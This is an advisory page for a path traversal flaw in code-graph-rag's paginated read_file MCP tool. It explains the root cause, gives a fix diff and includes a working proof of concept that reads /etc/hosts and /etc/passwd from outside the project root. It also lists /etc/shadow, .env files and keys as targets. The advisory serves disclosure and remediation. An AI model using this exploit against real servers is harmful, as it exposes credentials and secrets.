OFFLINE
Awaiting data
Security intelligence
MajorCritical vulnerability

CVE-2026-77604: Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read

GitHub Advisories · officialPublished Nov 9, 2026Risk 37/100

### Summary The `read_file` MCP tool in `codebase_rag/mcp/tools.py` contains a path traversal vulnerability in its paginated branch (when `offset` or `limit` is supplied). The handler constructs a file path using `Path(self.project_root) / file_path` without subsequently validating that the resolved path remains within the configured project root. Python's `pathlib` silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as `/etc/passwd`. ### Details **Vulnerable location:** `codebase_rag/mcp/tools.py:556–565` (`MCPToolsRegistry.read_file`) The `read_file` MCP tool accepts three parameters: `file_path`, `offset`, and `limit`. When either `offset` or `limit` is present the handler takes a distinct code path: ```python # codebase_rag/mcp/tools.py:556-565 async def read_file( self, file_path: str, offset: int | None = None, limit: int | None = None ) -> str: logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit)) try: if offset is not None or limit is not None: full_path = Path(self.project_root) / file_path # ← VULNERABLE LINE start = offset if offset is not None else 0 with open(full_path, encoding=cs.ENCODING_UTF8) as f: # ← SINK ``` Because `pathlib.Path.__truediv__` replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., `/etc/passwd`, `/proc/self/environ`) causes `full_path` to point outside the project root. The **non-paginated** branch is protected by the `@validate_project_path` decorator (applied via `codebase_rag/tools/file_reader.py:27`) which performs `.resolve().relative_to(project_root)` (`codebase_rag/decorators.py:73–75`), but this decorator is never invoked in the paginated branch, leaving it completely unguarded. **Full data-flow (source → sink):** 1. `codebase_rag/config.py:302` — HTTP MCP default host is `0.0.0.0`. 2. `codebase_rag/cli.py:717` — CLI exposes `mcp-server`. 3. `codebase_rag/cli.py:726–731` — `--transport http` invokes `serve_http(host=resolved_host, port=resolved_port)`. 4. `codebase_rag/mcp/server.py:208–210` — Starlette mounts the MCP HTTP endpoint. 5. `codebase_rag/mcp/tools.py:227–249` — `read_file` is registered as an MCP tool accepting attacker-controlled `file_path`, `offset`, and `limit`. 6. `codebase_rag/mcp/server.py:113–127` — `call_tool` dispatches JSON arguments directly to the handler via `await handler(**arguments)`. 7. `codebase_rag/mcp/tools.py:561–565` — paginated branch builds `full_path` and calls `open(full_path)` without any boundary check. The vulnerability is also present when using the `stdio` transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured. ### PoC **Prerequisites:** - Docker installed. - Repository cloned with the `vuln-001/` artifacts present (Dockerfile, poc.py). **Build and run:** ```bash # From the repository root (parent of vuln-001/) docker build -t vuln001-poc -f vuln-001/Dockerfile . docker run --rm vuln001-poc ``` The Dockerfile installs the `codebase_rag` package from the local repository source, creates a "safe" project root at `/tmp/safe-project-root`, and runs `poc.py`. **What the PoC does (`poc.py`):** 1. Pre-mocks the `mgclient` / `pymgclient` native C extensions (Memgraph client) so the package imports without a live database. 2. Instantiates `MCPToolsRegistry` via `object.__new__()`, setting only `self.project_root = "/tmp/safe-project-root"` — matching what the real server does. 3. Demonstrates the pathlib bypass: `Path("/tmp/safe-project-root") / "/etc/hosts"` resolves to `Path("/etc/hosts")`. 4. Calls `registry.read_file("/etc/hosts", offset=0, limit=5)` — the actual vulnerable method from the installed package. 5. Asserts that real `/etc/hosts` content is returned, confirming full boundary bypass. **Expected output:** ``` [MCP] read_file: /etc/hosts (offset=0, limit=5) [+] CONFIRMED: pathlib discards project_root when file_path is absolute [+] read_file() returned: # Lines 1-5 of 7 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00:: ip6-localnet ff00:: ip6-mcastprefix ff02::1 ip6-allnodes [+] EXPLOIT SUCCESSFUL [+] Content of '/etc/hosts' exfiltrated via path traversal [+] Project root boundary '/tmp/safe-project-root' was completely bypassed [+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal ``` **Equivalent HTTP transport attack (when server is running):** ```bash python3 - <<'PY' import anyio from mcp import ClientSession from mcp.client.streamable_http import streamablehttp_client async def main(): async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _): async with ClientSession(read, write) as session: await session.initialize() result = await session.call_tool( "read_file", {"file_path": "/etc/passwd", "offset": 0, "limit": 10}, ) print(result.content[0].text) anyio.run(main) PY ``` **Remediation:** ```diff --- a/codebase_rag/mcp/tools.py +++ b/codebase_rag/mcp/tools.py @@ async def read_file( self, file_path: str, offset: int | None = None, limit: int | None = None ) -> str: logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit)) try: if offset is not None or limit is not None: - full_path = Path(self.project_root) / file_path + project_root = Path(self.project_root).resolve() + try: + full_path = (project_root / file_path).resolve() + full_path.relative_to(project_root) + except (ValueError, RuntimeError): + return te.ERROR_WRAPPER.format( + message=lg.FILE_OUTSIDE_ROOT.format(action="access") + ) start = offset if offset is not None else 0 with open(full_path, encoding=cs.ENCODING_UTF8) as f: ``` ### Impact This is a **path traversal / arbitrary file read** vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration. An unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running `cgr mcp-server`. Exploitable targets include: - `/etc/passwd`, `/etc/shadow` — credential disclosure. - Application secrets, API keys, `.env` files, or private keys stored anywhere on the host. - Source code or configuration outside the intended project repository. - Cloud instance metadata endpoints reachable via the local file path (e.g., `/proc/self/environ` for environment variable leakage). The vulnerability is particularly severe because the HTTP transport binds to `0.0.0.0:8080` by default (`codebase_rag/config.py:302`), exposing the server to the network without any authentication requirement in the default configuration. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.12-slim # Install build tools needed for some dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ gcc build-essential \ && rm -rf /var/lib/apt/lists/* WORKDIR /app # Copy the vulnerable repository source COPY repo/ /app/repo/ # Install pure-Python dependencies (pymgclient is a native Memgraph client that # requires a live Memgraph instance; we mock it in the PoC script instead) RUN pip install --upgrade pip --quiet && \ pip install --quiet \ loguru \ "mcp>=1.25.0" \ "pydantic-ai>=1.102.0" \ "pydantic-settings>=2.12.0" \ "python-dotenv>=1.2.1" \ "tiktoken>=0.12.0" \ "toml>=0.10.2" \ "tree-sitter==0.25.2" \ "tree-sitter-python>=0.25.0" \ "watchdog>=6.0.0" \ "typer>=0.21.1" \ "rich>=14.2.0" \ "prompt-toolkit>=3.0.52" \ "diff-match-patch>=20241021" \ "click>=8.3.1" \ "protobuf>=6.33.5" \ "defusedxml>=0.7.1" \ "huggingface-hub>=1.7.2" \ "pathspec>=1.0.4" \ "griffe>=1.0,<2" \ httpx \ anyio # Install the codebase_rag package from the cloned repo. # --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific; # all other runtime deps were already installed above. RUN pip install --no-deps --quiet -e /app/repo/ # Create the "safe" project root that the victim server would normally restrict to RUN mkdir -p /tmp/safe-project-root && \ echo "# This is a safe project file" > /tmp/safe-project-root/README.md COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read ============================================================================= Repository : vitali87/code-graph-rag Version : <= 0.0.343 (unpatched at HEAD commit f5d6bfd) Vulnerable code location: codebase_rag/mcp/tools.py lines 561-565 (MCPToolsRegistry.read_file) Root cause: When 'offset' or 'limit' is provided, the method builds the path as: full_path = Path(self.project_root) / file_path # line 562 Python's pathlib discards 'project_root' when 'file_path' is an absolute path. The non-paginated branch is protected by @validate_project_path, but this branch has no such guard, so any absolute path is opened unconditionally. Attack path (HTTP transport): MCP client -> POST /mcp -> call_tool("read_file", {"file_path": "/etc/hosts", "offset": 0, "limit": 5}) -> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5) -> full_path = Path("/safe/root") / "/etc/hosts" ==> Path("/etc/hosts") -> open("/etc/hosts") # no boundary check, file content returned This PoC exercises the actual MCPToolsRegistry.read_file() method from the installed package. The Memgraph client (mgclient) is pre-mocked in sys.modules because it is a native C extension that requires a live database; it is NOT used by the vulnerable code path. The MCPToolsRegistry instance is created via object.__new__() to skip the __init__ that would connect to Memgraph -- the paginated read_file branch only reads self.project_root, nothing else. """ import asyncio import sys from pathlib import Path from unittest.mock import MagicMock # --------------------------------------------------------------------------- # Step 1: Pre-mock native dependencies that are irrelevant to the vuln path # --------------------------------------------------------------------------- # mgclient is a C extension (Memgraph client). It is imported at the top of # codebase_rag/services/graph_service.py. Inserting a MagicMock lets the # module import succeed without a native library or a live Memgraph server. sys.modules["mgclient"] = MagicMock() sys.modules["pymgclient"] = MagicMock() # --------------------------------------------------------------------------- # Step 2: Import the vulnerable class from the installed package # --------------------------------------------------------------------------- print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...") try: from codebase_rag.mcp.tools import MCPToolsRegistry except Exception as exc: print(f"[!] Import failed: {exc}") sys.exit(2) print("[+] Import successful\n") # --------------------------------------------------------------------------- # Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__) # --------------------------------------------------------------------------- # __init__ connects to Memgraph and Qdrant -- neither is available here. # The paginated read_file branch uses ONLY self.project_root, so setting # just that attribute is sufficient to reproduce the vulnerability. SAFE_ROOT = "/tmp/safe-project-root" registry = object.__new__(MCPToolsRegistry) registry.project_root = SAFE_ROOT print(f"[*] MCPToolsRegistry instance created via object.__new__()") print(f"[*] project_root = {SAFE_ROOT!r}") print() # --------------------------------------------------------------------------- # Step 4: Demonstrate the pathlib absolute-path bypass # --------------------------------------------------------------------------- ATTACK_PATH = "/etc/hosts" joined = Path(SAFE_ROOT) / ATTACK_PATH print("[*] Pathlib join behaviour (the root cause):") print(f" Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}") print(f" => {joined}") print(f" Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}") assert str(joined) == ATTACK_PATH, ( f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}" ) print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n") # --------------------------------------------------------------------------- # Step 5: Call the actual vulnerable method # --------------------------------------------------------------------------- print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)") print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path") print(f"[*] Resulting full_path = {joined}") print() async def run_poc() -> str: return await registry.read_file(ATTACK_PATH, offset=0, limit=5) result = asyncio.run(run_poc()) print("[+] read_file() returned:") print("-" * 60) print(result) print("-" * 60) print() # --------------------------------------------------------------------------- # Step 6: Validate the output contains real /etc/hosts content # --------------------------------------------------------------------------- with open(ATTACK_PATH) as fh: actual_hosts = fh.read() # Accept any of: pagination header, loopback address, or raw /etc/hosts lines confirmed = ( "Lines " in result # pagination header present or "127.0.0.1" in result # standard loopback entry or "localhost" in result # standard hostname entry or "::1" in result # IPv6 loopback or any( line.strip() in result for line in actual_hosts.splitlines() if line.strip() and not line.startswith("#") ) ) if confirmed: print("[+] EXPLOIT SUCCESSFUL") print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal") print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed") print() print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal") sys.exit(0) else: print("[-] Validation failed -- could not find /etc/hosts content in result") print(f"[-] Returned value: {result!r}") sys.exit(1) ```

Upgrade affected packages to a patched version: code-graph-rag 0.0.345.

Vendor
Not specified
Product
code-graph-rag
Exploitation
none known
Evidence
official
CVSS
7.5

This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.

Open primary source